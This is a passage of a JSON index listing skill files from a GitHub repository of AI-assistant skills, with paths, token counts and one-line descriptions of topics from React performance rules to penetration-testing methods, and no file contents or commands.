re-runs and duplicate side effects","tags":"rerender, useEffect, events, side-effects, dependencies"},"isInternal":false,"tokens":285,"sizeBytes":1268},{"name":"rerender-simple-expression-in-memo.md","path":"skills/react-best-practices/rules/rerender-simple-expression-in-memo.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-simple-expression-in-memo.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-simple-expression-in-memo.md -->","frontmatter":{"title":"Do not wrap a simple expression with a primitive result type in useMemo","impact":"LOW-MEDIUM","impactDescription":"wasted computation on every render","tags":"rerender, useMemo, optimization"},"isInternal":false,"tokens":217,"sizeBytes":1018},{"name":"rerender-transitions.md","path":"skills/react-best-practices/rules/rerender-transitions.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-transitions.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-transitions.md -->","frontmatter":{"title":"Use Transitions for Non-Urgent Updates","impact":"MEDIUM","impactDescription":"maintains UI responsiveness","tags":"rerender, transitions, startTransition, performance"},"isInternal":false,"tokens":241,"sizeBytes":1055},{"name":"rerender-use-ref-transient-values.md","path":"skills/react-best-practices/rules/rerender-use-ref-transient-values.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-use-ref-transient-values.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-use-ref-transient-values.md -->","frontmatter":{"title":"Use useRef for Transient Values","impact":"MEDIUM","impactDescription":"avoids unnecessary re-renders on frequent updates","tags":"rerender, useref, state, performance"},"isInternal":false,"tokens":436,"sizeBytes":1742},{"name":"server-after-nonblocking.md","path":"skills/react-best-practices/rules/server-after-nonblocking.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-after-nonblocking.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-after-nonblocking.md -->","frontmatter":{"title":"Use after() for Non-Blocking Operations","impact":"MEDIUM","impactDescription":"faster response times","tags":"server, async, logging, analytics, side-effects"},"isInternal":false,"tokens":453,"sizeBytes":2002},{"name":"server-auth-actions.md","path":"skills/react-best-practices/rules/server-auth-actions.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-auth-actions.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-auth-actions.md -->","frontmatter":{"title":"Authenticate Server Actions Like API Routes","impact":"CRITICAL","impactDescription":"prevents unauthorized access to server mutations","tags":"server, server-actions, authentication, security, authorization"},"isInternal":false,"tokens":578,"sizeBytes":2638},{"name":"server-cache-lru.md","path":"skills/react-best-practices/rules/server-cache-lru.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-cache-lru.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-cache-lru.md -->","frontmatter":{"title":"Cross-Request LRU Caching","impact":"HIGH","impactDescription":"caches across requests","tags":"server, cache, lru, cross-request"},"isInternal":false,"tokens":326,"sizeBytes":1353},{"name":"server-cache-react.md","path":"skills/react-best-practices/rules/server-cache-react.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-cache-react.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-cache-react.md -->","frontmatter":{"title":"Per-Request Deduplication with React.cache()","impact":"MEDIUM","impactDescription":"deduplicates within request","tags":"server, cache, react-cache, deduplication"},"isInternal":false,"tokens":509,"sizeBytes":2225},{"name":"server-dedup-props.md","path":"skills/react-best-practices/rules/server-dedup-props.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-dedup-props.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-dedup-props.md -->","frontmatter":{"title":"Avoid Duplicate Serialization in RSC Props","impact":"LOW","impactDescription":"reduces network payload by avoiding duplicate serialization","tags":"server, rsc, serialization, props, client-components"},"isInternal":false,"tokens":502,"sizeBytes":2064},{"name":"server-parallel-fetching.md","path":"skills/react-best-practices/rules/server-parallel-fetching.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-parallel-fetching.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-parallel-fetching.md -->","frontmatter":{"title":"Parallel Data Fetching with Component Composition","impact":"CRITICAL","impactDescription":"eliminates server-side waterfalls","tags":"server, rsc, parallel-fetching, composition"},"isInternal":false,"tokens":365,"sizeBytes":1554},{"name":"server-serialization.md","path":"skills/react-best-practices/rules/server-serialization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/server-serialization.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fserver-serialization.md -->","frontmatter":{"title":"Minimize Serialization at RSC Boundaries","impact":"HIGH","impactDescription":"reduces data transfer size","tags":"server, rsc, serialization, props"},"isInternal":false,"tokens":244,"sizeBytes":1000},{"name":"SKILL.md","path":"skills/react-best-practices/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/SKILL.md","title":"vercel-react-best-practices","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2FSKILL.md -->","frontmatter":{"name":"vercel-react-best-practices","description":"React and Next.js performance optimization guidelines from Vercel Engineering. This skill should be used when writing, reviewing, or refactoring React/Next.js code to ensure optimal performance patterns. Triggers on tasks involving React components, Next.js pages, data fetching, bundle optimization, or performance improvements.","license":"MIT","metadata":{"author":"vercel","version":"1.0.0"}},"isInternal":false,"tokens":1521,"sizeBytes":6357},{"name":"SKILL.md","path":"skills/red-team-tools/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/red-team-tools/SKILL.md","title":"red-team-tools","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fred-team-tools%2FSKILL.md -->","frontmatter":{"name":"red-team-tools","description":"This skill should be used when the user asks to \"follow red team methodology\", \"perform bug bounty hunting\", \"automate reconnaissance\", \"hunt for XSS vulnerabilities\", \"enumerate subdomains\", or needs security researcher techniques and tool configurations from top bug bounty hunters.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2019,"sizeBytes":7781},{"name":"SKILL.md","path":"skills/regression-modeler/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/regression-modeler/SKILL.md","title":"regression-modeler","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fregression-modeler%2FSKILL.md -->","frontmatter":{"name":"regression-modeler","description":"Run regression analysis (OLS or logistic) on uploaded CSV/Excel data, generating coefficients, R², p-values, VIF, and plain-language interpretation. Triggered by requests for regression modeling, fitting data, testing significance, checking multicollinearity, or keywords like OLS, logit, coefficient, p-value, or R-squared.","license":"MIT"},"isInternal":false,"tokens":949,"sizeBytes":3652},{"name":"SKILL.md","path":"skills/regulatory-audit-generator/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/regulatory-audit-generator/SKILL.md","title":"regulatory-audit-generator","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fregulatory-audit-generator%2FSKILL.md -->","frontmatter":{"name":"regulatory-audit-generator","description":"Builds compliance checklists for business scenarios involving GDPR, PIPL, or advertising/data laws. Outputs a structured checklist with check items, legal basis, risk levels, and actionable recommendations. Triggered by requests like \"run a compliance check,\" \"GDPR/PIPL compliance,\" \"pre-launch review,\" \"privacy impact assessment (PIA/DPIA),\" or asking if a feature is compliant.","license":"MIT"},"isInternal":false,"tokens":2802,"sizeBytes":14041},{"name":"SKILL.md","path":"skills/repo-audit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/repo-audit/SKILL.md","title":"repo-audit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Frepo-audit%2FSKILL.md -->","frontmatter":{"name":"repo-audit","description":"Deep analysis of Git history: identify frequently changed hotspot files, analyze code ownership by contributor, and scan for leaked secrets. Triggered when users ask about Git analysis, code hotspots, who owns what code, secret scanning, security audits of commit history, or optimizing code review assignments.","type":"tool","license":"MIT","tags":["git","security","analysis","devops"]},"isInternal":false,"tokens":808,"sizeBytes":3324},{"name":"SKILL.md","path":"skills/route-to-openapi/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/route-to-openapi/SKILL.md","title":"route-to-openapi","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Froute-to-openapi%2FSKILL.md -->","frontmatter":{"name":"route-to-openapi","description":"Generates RESTful API documentation (OpenAPI 3.0 / Swagger spec) by scanning route definitions in code for Flask, FastAPI, Express, Gin, and other frameworks. Trigger when users ask about API documentation, OpenAPI, Swagger, endpoint docs, generating docs from code, or extracting endpoints.","license":"MIT"},"isInternal":false,"tokens":1133,"sizeBytes":4601},{"name":"SKILL.md","path":"skills/scanning-tools/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/scanning-tools/SKILL.md","title":"scanning-tools","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fscanning-tools%2FSKILL.md -->","frontmatter":{"name":"scanning-tools","description":"This skill should be used when the user asks to \"perform vulnerability scanning\", \"scan networks for open ports\", \"assess web application security\", \"scan wireless networks\", \"detect malware\", \"check cloud security\", or \"evaluate system compliance\". It provides comprehensive guidance on security scanning tools and methodologies.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3763,"sizeBytes":13538},{"name":"SKILL.md","path":"skills/scholarly-writing-refiner/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/scholarly-writing-refiner/SKILL.md","title":"scholarly-writing-refiner","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fscholarly-writing-refiner%2FSKILL.md -->","frontmatter":{"name":"scholarly-writing-refiner","description":"Polishes academic English paragraph by paragraph, reviewing grammar, word choice, voice, coherence, and sentence structure. Outputs revision suggestions alongside polished text. Triggered by phrases like 'polish this paragraph,' 'check the grammar,' 'rewrite in academic English,' or keywords like manuscript editing, SCI polishing, and journal submission editing.","license":"MIT"},"isInternal":false,"tokens":4617,"sizeBytes":21147},{"name":"SKILL.md","path":"skills/secure-code-review/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/secure-code-review/SKILL.md","title":"secure-code-review","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsecure-code-review%2FSKILL.md -->","frontmatter":{"name":"secure-code-review","description":"Systematically reviews code for SQL injection, XSS, SSRF, broken access control, cryptographic failures, and other common OWASP Top 10 vulnerabilities, providing vulnerable code examples and ready-to-use remediation guidance. Trigger this skill when users ask for a security review, vulnerability scan, or penetration testing assistance, or mention keywords like OWASP, SQL injection, XSS, code audit, or security checklist.","license":"MIT"},"isInternal":false,"tokens":4337,"sizeBytes":19053},{"name":"SKILL.md","path":"skills/shodan-reconnaissance/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/shodan-reconnaissance/SKILL.md","title":"shodan-reconnaissance","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fshodan-reconnaissance%2FSKILL.md -->","frontmatter":{"name":"shodan-reconnaissance","description":"This skill should be used when the user asks to \"search for exposed devices on the internet,\" \"perform Shodan reconnaissance,\" \"find vulnerable services using Shodan,\" \"scan IP ranges with Shodan,\" or \"discover IoT devices and open ports.\" It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3621,"sizeBytes":13806},{"name":"SKILL.md","path":"skills/smtp-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/smtp-penetration-testing/SKILL.md","title":"smtp-penetration-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsmtp-penetration-testing%2FSKILL.md -->","frontmatter":{"name":"smtp-penetration-testing","description":"This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3311,"sizeBytes":12156},{"name":"SKILL.md","path":"skills/sql-injection-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/sql-injection-testing/SKILL.md","title":"sql-injection-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsql-injection-testing%2FSKILL.md -->","frontmatter":{"name":"sql-injection-testing","description":"This skill should be used when the user asks to \"test for SQL injection vulnerabilities\", \"perform SQLi attacks\", \"bypass authentication using SQL injection\", \"extract database information through injection\", \"detect SQL injection flaws\", or \"exploit database query vulnerabilities\". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2725,"sizeBytes":11462},{"name":"SKILL.md","path":"skills/sql-insight/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/sql-insight/SKILL.md","title":"sql-insight","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsql-insight%2FSKILL.md -->","frontmatter":{"name":"sql-insight","description":"Translate natural language to SQL, optimize query performance, and interpret EXPLAIN plans for SQLite and PostgreSQL. Triggered when users ask to convert questions into SQL, improve slow queries, tune indexes, analyze execution plans, or mention keywords like NL2SQL, query tuning, or full table scan.","license":"MIT"},"isInternal":false,"tokens":1921,"sizeBytes":8438},{"name":"SKILL.md","path":"skills/sqlmap-database-pentesting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/sqlmap-database-pentesting/SKILL.md","title":"sqlmap-database-pentesting","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fsqlmap-database-pentesting%2FSKILL.md -->","frontmatter":{"name":"sqlmap-database-pentesting","description":"This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns from a vulnerable database,\" or \"perform automated database penetration testing.\" It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3234,"sizeBytes":12017},{"name":"SKILL.md","path":"skills/ssh-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/ssh-penetration-testing/SKILL.md","title":"ssh-penetration-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fssh-penetration-testing%2FSKILL.md -->","frontmatter":{"name":"ssh-penetration-testing","description":"This skill should be used when the user asks to \"pentest SSH services\", \"enumerate SSH configurations\", \"brute force SSH credentials\", \"exploit SSH vulnerabilities\", \"perform SSH tunneling\", or \"audit SSH security\". It provides comprehensive SSH penetration testing methodologies and techniques.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3389,"sizeBytes":11937},{"name":"deep-modules.md","path":"skills/test-driven-dev/deep-modules.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-driven-dev/deep-modules.md","title":"Test-driven-dev Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Fdeep-modules.md -->","isInternal":false,"tokens":200,"sizeBytes":1239},{"name":"interface-design.md","path":"skills/test-driven-dev/interface-design.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-driven-dev/interface-design.md","title":"Test-driven-dev Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Finterface-design.md -->","isInternal":false,"tokens":150,"sizeBytes":653},{"name":"mocking.md","path":"skills/test-driven-dev/mocking.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-driven-dev/mocking.md","title":"Test-driven-dev Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Fmocking.md -->","isInternal":false,"tokens":331,"sizeBytes":1481},{"name":"refactoring.md","path":"skills/test-driven-dev/refactoring.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-driven-dev/refactoring.md","title":"Test-driven-dev Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Frefactoring.md -->","isInternal":false,"tokens":87,"sizeBytes":387},{"name":"SKILL.md","path":"skills/test-driven-dev/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-driven-dev/SKILL.md","title":"test-driven-dev","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2FSKILL.md -->","frontmatter":{"name":"test-driven-dev","description":"Test-driven development with red-green-refactor loop. Use when user wants to build features or fix bugs using TDD, mentions \"red-green-refactor\", wants integration tests, or asks for test-first development."},"isInternal":false,"tokens":931,"sizeBytes":4223},{"name":"tests.md","path":"skills/test-driven-dev/tests.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-driven-dev/tests.md","title":"Test-driven-dev Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-driven-dev%2Ftests.md -->","isInternal":false,"tokens":359,"sizeBytes":1640},{"name":"TEST-CASE-TEMPLATE.md","path":"skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/assets/templates/TEST-CASE-TEMPLATE.md","title":"Templates Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Fassets%2Ftemplates%2FTEST-CASE-TEMPLATE.md -->","isInternal":false,"tokens":1134,"sizeBytes":4520},{"name":"day1_onboarding.md","path":"skills/test-suite-architect/references/day1_onboarding.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/references/day1_onboarding.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fday1_onboarding.md -->","isInternal":false,"tokens":2599,"sizeBytes":9696},{"name":"google_testing_standards.md","path":"skills/test-suite-architect/references/google_testing_standards.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/references/google_testing_standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fgoogle_testing_standards.md -->","isInternal":false,"tokens":1301,"sizeBytes":5129},{"name":"ground_truth_principle.md","path":"skills/test-suite-architect/references/ground_truth_principle.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/references/ground_truth_principle.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fground_truth_principle.md -->","isInternal":false,"tokens":2571,"sizeBytes":9996},{"name":"llm_prompts_library.md","path":"skills/test-suite-architect/references/llm_prompts_library.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/references/llm_prompts_library.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fllm_prompts_library.md -->","isInternal":false,"tokens":4059,"sizeBytes":16035},{"name":"master_qa_prompt.md","path":"skills/test-suite-architect/references/master_qa_prompt.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/references/master_qa_prompt.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2Freferences%2Fmaster_qa_prompt.md -->","isInternal":false,"tokens":3461,"sizeBytes":12348},{"name":"SKILL.md","path":"skills/test-suite-architect/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/test-suite-architect/SKILL.md","title":"test-suite-architect","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ftest-suite-architect%2FSKILL.md -->","frontmatter":{"name":"test-suite-architect","description":"This skill should be used when establishing comprehensive QA testing processes for any software project. Use when creating test strategies, writing test cases following Google Testing Standards, executing test plans, tracking bugs with P0-P4 classification, calculating quality metrics, or generating progress reports. Includes autonomous execution capability via master prompts and complete documentation templates for third-party QA team handoffs. Implements OWASP security testing and achieves 90% coverage targets.","keywords":["qa","testing","test-cases","bug-tracking","google-standards","owasp","security","automation","quality-gates","metrics"]},"isInternal":false,"tokens":2562,"sizeBytes":10580},{"name":"_sections.md","path":"skills/three-best-practices/rules/_sections.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/_sections.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2F_sections.md -->","isInternal":false,"tokens":1178,"sizeBytes":4307},{"name":"animation-system.md","path":"skills/three-best-practices/rules/animation-system.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/animation-system.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fanimation-system.md -->","isInternal":false,"tokens":1235,"sizeBytes":4694},{"name":"asset-compression.md","path":"skills/three-best-practices/rules/asset-compression.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/asset-compression.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fasset-compression.md -->","isInternal":false,"tokens":627,"sizeBytes":2460},{"name":"audio-spatial.md","path":"skills/three-best-practices/rules/audio-spatial.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/audio-spatial.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Faudio-spatial.md -->","isInternal":false,"tokens":1094,"sizeBytes":4462},{"name":"core-web-vitals.md","path":"skills/three-best-practices/rules/core-web-vitals.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/core-web-vitals.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fcore-web-vitals.md -->","isInternal":false,"tokens":816,"sizeBytes":3385},{"name":"debug-devtools.md","path":"skills/three-best-practices/rules/debug-devtools.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/debug-devtools.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fdebug-devtools.md -->","isInternal":false,"tokens":1131,"sizeBytes":4638},{"name":"draw-call-optimization.md","path":"skills/three-best-practices/rules/draw-call-optimization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/draw-call-optimization.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fdraw-call-optimization.md -->","isInternal":false,"tokens":716,"sizeBytes":2914},{"name":"error-handling-recovery.md","path":"skills/three-best-practices/rules/error-handling-recovery.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/error-handling-recovery.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Ferror-handling-recovery.md -->","isInternal":false,"tokens":1339,"sizeBytes":5689},{"name":"geometry-instanced-mesh.md","path":"skills/three-best-practices/rules/geometry-instanced-mesh.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/geometry-instanced-mesh.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fgeometry-instanced-mesh.md -->","isInternal":false,"tokens":786,"sizeBytes":3135},{"name":"gltf-loading-optimization.md","path":"skills/three-best-practices/rules/gltf-loading-optimization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/gltf-loading-optimization.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fgltf-loading-optimization.md -->","isInternal":false,"tokens":1297,"sizeBytes":4833},{"name":"lighting-shadows-advanced.md","path":"skills/three-best-practices/rules/lighting-shadows-advanced.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/lighting-shadows-advanced.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Flighting-shadows-advanced.md -->","isInternal":false,"tokens":1010,"sizeBytes":4037},{"name":"memory-dispose-geometry.md","path":"skills/three-best-practices/rules/memory-dispose-geometry.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/memory-dispose-geometry.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmemory-dispose-geometry.md -->","isInternal":false,"tokens":438,"sizeBytes":1900},{"name":"migration-checklist.md","path":"skills/three-best-practices/rules/migration-checklist.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/three-best-practices/rules/migration-checklist.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fthree-best-practices%2Frules%2Fmigration-checklist.md 